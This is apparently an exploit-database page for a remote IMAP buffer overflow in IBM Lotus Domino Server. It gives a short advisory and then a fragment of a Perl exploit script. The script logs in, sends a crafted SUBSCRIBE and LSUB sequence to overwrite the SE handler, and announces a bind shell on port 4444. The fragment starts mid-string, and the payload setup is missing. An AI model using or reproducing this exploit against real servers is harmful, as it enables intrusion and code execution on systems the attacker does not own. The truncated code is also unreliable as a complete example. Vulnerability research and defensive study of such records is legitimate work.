header-logo
Suggest Exploit
vendor:
Lotus Domino Server
by:
Unknown
7.5
CVSS
HIGH
Remote Buffer Overflow
Unknown
CWE
Product Name: Lotus Domino Server
Affected Version From: Unknown
Affected Version To: Unknown
Patch Exists: Unknown
Related CWE: Unknown
CPE: cpe:2.3:a:ibm:lotus_domino:-:*:*:*:*:*:*:*
Metasploit:
Other Scripts:
Platforms Tested: Windows (other platforms unknown)
Unknown

IBM Lotus Domino Server Remote Buffer Overflow Vulnerability

The IBM Lotus Domino Server is vulnerable to a remote buffer-overflow vulnerability. The vulnerability occurs due to a failure to properly bounds-check user-supplied data before copying it to a memory buffer that is insufficiently sized. An attacker can exploit this vulnerability to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial of service. An exploit is available for Lotus Domino Server running on Windows platforms. It is not known if other platforms are affected. This vulnerability may be related to the IMAP buffer-overflow vulnerability described in BID 26176.

Mitigation:

Unknown
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/26219/info

IBM Lotus Domino Server is prone to a remote buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it to an insufficiently sized memory buffer.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial of service.

An exploit is available for Lotus Domino Server running on Windows platforms. It is not known if other platforms are affected.

This issue may be related to the IMAP buffer-overflow vulnerability described in BID 26176.

Error: Invalid username or password!\n";
    exit;
}

print "[+] Successfully logged in.\n".
      "[+] Trying to overwrite and control the SE handler...\n";

$sock->send( "a002 SUBSCRIBE {" . length( $mailbox ) . "}\r\n" );
$sock->recv( $recv, 1024 );
$sock->send( "$mailbox\r\n" );
$sock->recv( $recv, 1024 );
$sock->send( "a003 LSUB arg1 arg2\r\n" );
sleep( 3 );
close( $sock );

print "[+] Done. Now check for a bind shell on $ip:4444!\n";